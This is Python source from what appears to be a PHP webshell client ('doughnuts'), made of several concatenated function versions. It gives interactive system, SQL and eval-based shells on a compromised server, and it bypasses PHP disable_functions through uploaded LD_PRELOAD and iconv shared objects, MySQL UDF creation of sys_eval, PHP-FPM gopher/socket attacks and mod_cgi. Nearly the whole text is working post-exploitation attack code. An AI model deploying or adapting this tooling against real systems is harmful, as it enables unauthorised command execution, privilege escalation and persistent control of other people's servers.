def run(*commands):
"""
shell
Get a temporary shell of target system by system function or just run a shell command.
"""
command = str(value_translation(gget("raw_command_args")))
if (command):
res = send(get_system_code(command))
if (not res):
return
print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n")
return
print(
color.cyan(
"Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n"
))
res = send(
f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());'
).r_text.strip()
prompt, pwd = res.split("|")
set_namespace("webshell", False, True)
wordlist = gget("webshell.wordlist")
readline.set_wordlist(NEW_WINDOWS_WORDLIST if (
is_windows()) else NEW_UNIX_WORDLIST)
if is_windows():
prompt = "%s> "
else:
prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ "
try:
while gget("loop"):
print(prompt % pwd, end="")
command = str(value_translation(readline()))
lower_command = command.lower()
if (lower_command.lower() in ['exit', 'quit', 'back']):
print()
break
if (command == ''):
print()
continue
b64_pwd = base64_encode(pwd)
if (lower_command.startswith("cd ") and len(lower_command) > 3):
path = base64_encode(lower_command[3:].strip())
res = send(
f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());'
)
if (not res):
return
pwd = res.r_text.strip()
else:
res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' +
get_system_code(command))
if (not res):
return
print("\n" + res.r_text.strip() + "\n")
finally:
readline.set_wordlist(wordlist)
def run():
"""
db_shell
Get a temporary sql shell of target system.
"""
if (not gget("db_connected", "webshell")):
print(color.red("Please run db_init command first"))
return
print(
color.cyan(
"Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n"
))
database = gget("db_dbname", "webshell")
prompt = "mysql (%s) > "
set_namespace("webshell", False, True)
wordlist = gget("webshell.wordlist")
readline.set_wordlist(NEW_SQL_WORDLIST)
try:
while gget("loop"):
print(prompt % color.cyan(database), end="")
command = readline()
lower_command = command.lower()
if (lower_command.lower() in ['exit', 'quit', 'back']):
print()
break
if (command == ''):
print()
continue
if (lower_command.startswith("use ") and len(lower_command) > 4):
try:
temp_database = match("use ([^;]*);?",
lower_command).group(1)
res = send(check_database(temp_database))
if ("Connect error" in res.r_text):
print("\n" + color.red(res.r_text.strip()) + "\n")
else:
database = temp_database
print("\n" + color.green(
f"Change current database: {database}") + "\n")
except (IndexError, AttributeError):
print("\n" + color.red("SQL syntax error") + "\n")
else:
form = execute_sql_command(command, database)
if (form == ''):
print("\n" +
color.red("Connection Error / SQL syntax error") +
"\n")
else:
print(execute_sql_command(command, database))
finally:
gset("db_dbname", database, True, "webshell")
readline.set_wordlist(wordlist)
def run(*commands):
"""
webshell
Get a webshell of target system or just run a webshell command.
"""
command = gget("raw_command_args")
if (command):
res = send((command))
if (not res):
return
print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n")
return
print(
color.cyan(
"Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n"
))
pwd = send(f'print(getcwd());').r_text.strip()
set_namespace("webshell", False, True)
wordlist = gget("webshell.wordlist")
readline.set_wordlist(NEW_WORDLIST)
try:
while gget("loop"):
print(f"webshell:{pwd} >> ", end="")
data = readline(b"(")
lower_data = data.lower()
if (lower_data.lower() in ['exit', 'quit', 'back']):
print()
break
if (data == ''):
print()
continue
data = base64_encode(data)
b64_pwd = base64_encode(pwd)
if (lower_data.startswith("cd ") and len(lower_data) > 3):
path = base64_encode(lower_data[3:].strip())
res = send(
f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());'
)
if (not res):
return
pwd = res.r_text.strip()
else:
res = send(
f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");'
)
if (not res):
return
print("\n" + res.r_text.strip() + "\n")
finally:
readline.set_wordlist(wordlist)
def run(id: int = 0):
"""
load
Load a webshell from log.
eg: load {id}
"""
pf = gget("main.pf")
root_path = gget("root_path")
webshell_log_path = path.join(root_path, "webshell.log")
if (not path.exists(webshell_log_path)):
print(color.red("No webshell.log"))
return
f = open(webshell_log_path, "r+")
lines = f.readlines()
try:
if (id <= 0):
line_num = pf["show"].run()
print("choose:>", end="")
load_id = readline()
if (load_id.isdigit()):
load_id = int(load_id)
else:
print(color.red("\nInput Error\n"))
return
else:
load_id = id
line_num = len(lines)
if load_id <= line_num:
data = lines[load_id - 1].strip().split("|")
gset("webshell.from_log", True, namespace="webshell")
connect = pf["connect"].run(*data)
if (not connect):
print(
"\nThis webshell seems to no longer working, do you want to delete it?\n\n(YES/no) >",
end="")
flag = input()
if (flag.lower() in ['n', 'no']):
return
del lines[load_id - 1]
f.seek(0)
f.truncate()
f.write("".join(lines))
else:
print(color.red("ID error"))
finally:
f.close()
def run(id: int = 0):
"""
remove
Remove a webshell log.
eg: remove {_id}
"""
pf = gget("main.pf")
root_path = gget("root_path")
webshell_log_path = path.join(root_path, "webshell.log")
if (not path.exists(webshell_log_path)):
print(color.red("No webshell.log"))
return
f = open(webshell_log_path, "r+")
lines = f.readlines()
line_num = len(lines)
f.seek(0)
f.truncate()
try:
if (id <= 0):
pf["show"].run()
print("choose:>", end="")
load_id = readline()
if (load_id.isdigit()):
load_id = int(load_id)
else:
print(color.red("\nInput Error\n"))
return
else:
load_id = id
if load_id <= line_num:
del lines[load_id - 1]
f.write("".join(lines))
print(color.green("\nRemove success\n"))
else:
print(color.red("ID error"))
finally:
f.close()
def set_mode(mode: int, test: bool = False):
if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
False)): # ld_preload
disable_func_list = gget("webshell.disable_functions", "webshell")
if (not gget("webshell.ld_preload_path", "webshell", None)):
filename = "/tmp/%s.so" % str(uuid4())
ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
upload_result = upload(
path.join(gget("root_path"), "auxiliary", "ld_preload",
"ld_preload_x86_64.so"), filename, True)
if (not upload_result):
return
gset("webshell.ld_preload_path", filename, True, "webshell")
gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
if ("putenv" in disable_func_list):
print(color.red("\nputenv is disabled\n"))
return False
if (not ld_preload_func):
print(color.red("\nNo ld_preload function!\n"))
return False
if (mode in mode_require_ext_dict):
ext = mode_require_ext_dict[mode]
res = send(get_detectd_ext(ext))
if (not res):
return False
text = res.r_text.strip()
if ("exist" not in text):
print(color.red(f"\nNo {ext} extension\n"))
return False
if (mode == 8): # udf
if (gget("db_connected", "webshell")
and gget("db_dbms", "webshell") == "mysql"):
print(color.yellow(f"\nDetect plugin dir..."))
plugin_dir_res = execute_sql_command(
"show variables like '%plugin_dir%';", raw=True)
if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
else:
print(color.red(f"\nCould not find plugin_dir"))
return False
print(color.yellow(f"\nMake plugin dir..."))
phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
plugin_dir, plugin_dir)
res = send(phpcode)
if (not res or "fail" in res.r_text):
print(color.red(f"\nMake plugin dir failed!\n"))
return False
system = "windows" if (gget("webshell.iswin",
"webshell")) else "linux"
print("\nReference Information:",
gget("webshell.os_version", "webshell"))
print("\nInput target system bits (32/64/exit): ", end="")
bits = "64"
_ = readline().strip()
if (_ == "32"):
bits = 32
elif (_ in ["back", "exit", "quit"] or _ != "64"):
return False
udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
udf_path = plugin_dir + "tmp" + udf_ext
print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
upload_result = upload(
path.join(gget("root_path"), "auxiliary", "udf", "mysql",
system, bits, "lib_mysqludf_sys" + udf_ext),
udf_path, True)
if (not upload_result):
print(color.red("\nUpload failed\n"))
return
gset("webshell.udf_path", udf_path, True, "webshell")
print(color.yellow(f"\nCreate function sys_eval..."))
execute_sql_command(
f"create function sys_eval returns string soname 'tmp{udf_ext}'",
raw=True)
test_res = execute_sql_command("select sys_eval('whoami');",
raw=True)
if (len(test_res) > 1 and len(test_res[1][0])):
print(color.green(f"\nCreate funtion success"))
else:
print(color.red(f"\nCreate funtion failed\n"))
return False
else:
print(
color.red(
f"\nNo connection to database or dbms isn't mysql\n"))
return False
if (not test):
if (mode == 7):
print(
color.yellow(
f"\nYou may need to wait 1 second to get the result..\n"))
print(
f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
)
gset("webshell.bypass_df", mode, True, "webshell")
return True
def set_mode(mode: int, test: bool = False):
if (mode in mode_require_ext_dict):
ext = mode_require_ext_dict[mode]
res = send(get_detectd_ext(ext))
if (not res):
return False
text = res.r_text.strip()
if ("exist" not in text):
print(color.red(f"\nNo {ext} extension\n"))
return False
if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
False)): # ld_preload
disable_func_list = gget("webshell.disable_functions", "webshell")
if (not gget("webshell.ld_preload_path", "webshell", None)):
filename = "/tmp/%s.so" % str(uuid4())
ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
upload_result = upload(
path.join(gget("root_path"), "auxiliary", "ld_preload",
"ld_preload_x86_64.so"), filename, True)
if (not upload_result):
return
gset("webshell.ld_preload_path", filename, True, "webshell")
gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
if ("putenv" in disable_func_list):
print(color.red("\nputenv is disabled\n"))
return False
if (not ld_preload_func):
print(color.red("\nNo ld_preload function!\n"))
return False
elif (mode == 8): # udf
if (gget("db_connected", "webshell")
and gget("db_dbms", "webshell") == "mysql"):
print(color.yellow(f"\nDetect plugin dir..."))
plugin_dir_res = execute_sql_command(
"show variables like '%plugin_dir%';", raw=True)
if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
else:
print(color.red(f"\nCould not find plugin_dir"))
return False
print(color.yellow(f"\nMake plugin dir..."))
phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
plugin_dir, plugin_dir)
res = send(phpcode)
if (not res or "fail" in res.r_text):
print(color.red(f"\nMake plugin dir failed!\n"))
return False
system = "windows" if (gget("webshell.iswin",
"webshell")) else "linux"
print("\nReference Information:",
gget("webshell.os_version", "webshell"))
print("\nInput target system bits (32/64/exit): ", end="")
bits = "64"
_ = readline().strip()
if (_ == "32"):
bits = 32
elif (_ in ["back", "exit", "quit"] or _ != "64"):
return False
udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
udf_path = plugin_dir + "tmp" + udf_ext
print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
upload_result = upload(
path.join(gget("root_path"), "auxiliary", "udf", "mysql",
system, bits, "lib_mysqludf_sys" + udf_ext),
udf_path, True)
if (not upload_result):
print(color.red("\nUpload failed\n"))
return
gset("webshell.udf_path", udf_path, True, "webshell")
print(color.yellow(f"\nCreate function sys_eval..."))
execute_sql_command(
f"create function sys_eval returns string soname 'tmp{udf_ext}'",
raw=True)
test_res = execute_sql_command("select sys_eval('whoami');",
raw=True)
if (len(test_res) > 1 and len(test_res[1][0])):
print(color.green(f"\nCreate funtion success"))
else:
print(color.red(f"\nCreate funtion failed\n"))
return False
else:
print(
color.red(
f"\nNo connection to database or dbms isn't mysql\n"))
return False
elif (mode == 10): # php-fpm
res = send("print(php_sapi_name());")
if (not res or "fpm" not in res.r_text):
print(color.red(f"\nTarget php not run by php-fpm!\n"))
return False
requirements_dict = {
'host': '127.0.0.1',
'port': 9000,
"php_file": "/usr/local/lib/php/PEAR.php"
}
for k, v in requirements_dict.items():
new_v = input(f"{k}[{v}]:")
if k == 'port':
new_v = new_v if new_v else v
try:
new_v = int(new_v)
except ValueError:
print(color.red(f"\nPort must be number!\n"))
return False
if new_v:
requirements_dict[k] = new_v
attack_type = input("attack_type[gopher/sock]:").lower()
if (attack_type not in ["gopher", "sock"]):
return False
if (attack_type == "sock"):
sock_path = "/var/run/php7-fpm.sock"
new_v = input(f"sock_path[{sock_path}]:")
if new_v:
sock_path = new_v
gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
"webshell")
gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
"webshell")
gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True,
"webshell")
gset("webshell.bdf_fpm.type", attack_type, True, "webshell")
if (not test):
if (mode == 7):
print(
color.yellow(
f"\nYou may need to wait 1 second to get the result..\n"))
print(
f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
)
gset("webshell.bypass_df", mode, True, "webshell")
return True
def set_mode(mode: int, test: bool = False):
if (mode in mode_require_ext_dict):
ext = mode_require_ext_dict[mode]
res = send(get_detectd_ext(ext))
if (not res):
return False
text = res.r_text.strip()
if ("exist" not in text):
print(color.red(f"\nNo {ext} extension\n"))
return False
if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
False)): # ld_preload
if is_windows():
print(color.red("\nNo ld_preload function!\n"))
return False
disable_funcs = gget("webshell.disable_functions", "webshell")
# can't work if putenv is disabled
if ("putenv" in disable_funcs):
print(color.red("\nputenv is disabled\n"))
return False
# check if already set ld_preload
if (not gget("webshell.ld_preload_path", "webshell", None)):
filename = "/tmp/%s.so" % str(uuid4())
# get ld_preload trigger function
available_trigger_funcs = [
'mail', 'error_log', 'mb_send_mail', 'imap_mail'
]
ld_preload_funcs = [
f for f in available_trigger_funcs if f not in disable_funcs
]
if (not ld_preload_funcs):
print(color.red("\nNo ld_preload function!\n"))
return False
ld_preload_func = choice(ld_preload_funcs)
# get target architecture
bits = gget("webshell.arch", namespace="webshell")
if not bits:
print("\nInput target system bits (32/64): ", end="")
_ = readline().strip()
if (_ == "32"):
bits = 32
elif (_ == "64"):
bits = 64
else:
print(color.red("\nUnknown bits\n"))
return False
bits = str(bits)
if bits == "32":
bits = "86"
# upload so
upload_result = upload(
path.join(gget("root_path"), "auxiliary", "ld_preload",
"ld_preload_x" + bits + ".so"), filename, True)
if (not upload_result):
print(color.red("\nUpload error\n"))
return
gset("webshell.ld_preload_path", filename, True, "webshell")
gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
elif (mode == 8): # udf
if (gget("db_connected", "webshell")
and gget("db_dbms", "webshell") == "mysql"):
# detect plugin dir
print(color.yellow(f"\nDetect plugin dir..."))
plugin_dir_res = execute_sql_command(
"show variables like '%plugin_dir%';", raw=True)
if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
else:
print(color.red(f"\nCould not find plugin_dir"))
return False
# make plugin dir
print(color.yellow(f"\nMake plugin dir..."))
phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
plugin_dir, plugin_dir)
res = send(phpcode)
if (not res or "fail" in res.r_text):
print(color.red(f"\nMake plugin dir failed!\n"))
return False
system = "windows" if is_windows() else "linux"
print("\nReference Information:",
gget("webshell.os_version", "webshell"))
bits = gget("webshell.arch", namespace="webshell")
if not bits:
print("\nInput target system bits (32/64): ", end="")
_ = readline().strip()
if (_ == "32"):
bits = 32
elif (_ == "64"):
bits = 64
elif (_ in ["back", "exit", "quit"]):
return False
else:
print(color.red("\nUnknown bits\n"))
return False
bits = str(bits)
# upload so / dll
udf_ext = ".dll" if is_windows() else ".so"
udf_path = plugin_dir + "tmp" + udf_ext
print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
upload_result = upload(path.join(gget("root_path"), "auxiliary",
"udf", "mysql", system, bits,
"lib_mysqludf_sys" + udf_ext),
udf_path,
force=True)
if (not upload_result):
print(color.red("\nUpload failed\n"))
return
gset("webshell.udf_path", udf_path, True, "webshell")
# create function sys_eval
print(color.yellow(f"\nCreate function sys_eval..."))
execute_sql_command(
f"create function sys_eval returns string soname 'tmp{udf_ext}'",
raw=True)
test_res = execute_sql_command("select sys_eval('whoami');",
raw=True)
if (len(test_res) > 1 and len(test_res[1][0])):
print(color.green(f"\nCreate funtion success"))
else:
print(color.red(f"\nCreate funtion failed\n"))
return False
else:
print(
color.red(
f"\nNo connection to database or dbms isn't mysql\n"))
return False
elif (mode == 10): # php-fpm
res = send("print(php_sapi_name());")
if (not res or "fpm" not in res.r_text):
print(color.red(f"\nTarget php not run by php-fpm!\n"))
return False
requirements_dict = {'host': '127.0.0.1', 'port': 9000}
attack_type = input(
"attack_type[gopher(need curl extension)/sock/http_sock]:").lower(
)
if (attack_type not in ["gopher", "sock", "http_sock"]):
return False
gset("webshell.bdf_fpm.type", attack_type, True, "webshell")
# input sock path
if (attack_type == "sock"):
sock_path = "/var/run/php7-fpm.sock"
new_v = input(f"sock_path[{sock_path}]:")
if new_v:
sock_path = new_v
gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
else:
# input fpm http host and port
for k, v in requirements_dict.items():
new_v = input(f"{k}[{v}]:")
if k == 'port':
new_v = new_v if new_v else v
try:
new_v = int(new_v)
except ValueError:
print(color.red(f"\nport must be number\n"))
return False
if new_v:
requirements_dict[k] = new_v
gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
"webshell")
gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
"webshell")
elif (mode == 11): # apache-mod-cgi
res = send("""$f=in_array('mod_cgi', apache_get_modules());
$f2=is_writable('.');
$f3=!empty($_SERVER['HTACCESS']);
if(!$f){
die("Mod-Cgi not enabled");
} else if (!$f2) {
die("Current directory not writable");
}
print("success");""")
if (res.r_text != "success"):
print(color.red(f"\n{res.r_text}\n"))
return False
elif (mode == 12 and
not gget("webshell.ld_preload_path", "webshell", False)): # iconv
disable_funcs = gget("webshell.disable_functions", "webshell")
# can't work if putenv is disabled
if ("putenv" in disable_funcs):
print(color.red("\nputenv is disabled\n"))
return False
# check if already set ld_preload
if (not gget("webshell.iconv_path", "webshell", None)):
filename = "/tmp/%s" % str(uuid4())
# get target architecture
bits = gget("webshell.arch", namespace="webshell")
if not bits:
print("\nInput target system bits (32/64): ", end="")
_ = readline().strip()
if (_ == "32"):
bits = 32
elif (_ == "64"):
bits = 64
else:
print(color.red("\nUnknown bits\n"))
return False
bits = str(bits)
if bits == "32":
bits = "86"
# upload so
upload_result = upload(path.join(gget("root_path"), "auxiliary",
"iconv",
"iconv_x" + bits + ".so"),
filename + ".so",
force=True)
if (not upload_result):
print(color.red("\nUpload error\n"))
return
gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2
module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2"""
send(
f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));"
)
gset("webshell.iconv_path", filename + ".so", True, "webshell")
gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules",
True, "webshell")
if (not test):
if (mode in (7, 10, 12)):
print(
color.yellow(
f"\nYou may need to wait 1 second to get the result..\n"))
print(
f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
)
gset("webshell.bypass_df", mode, True, "webshell")
return True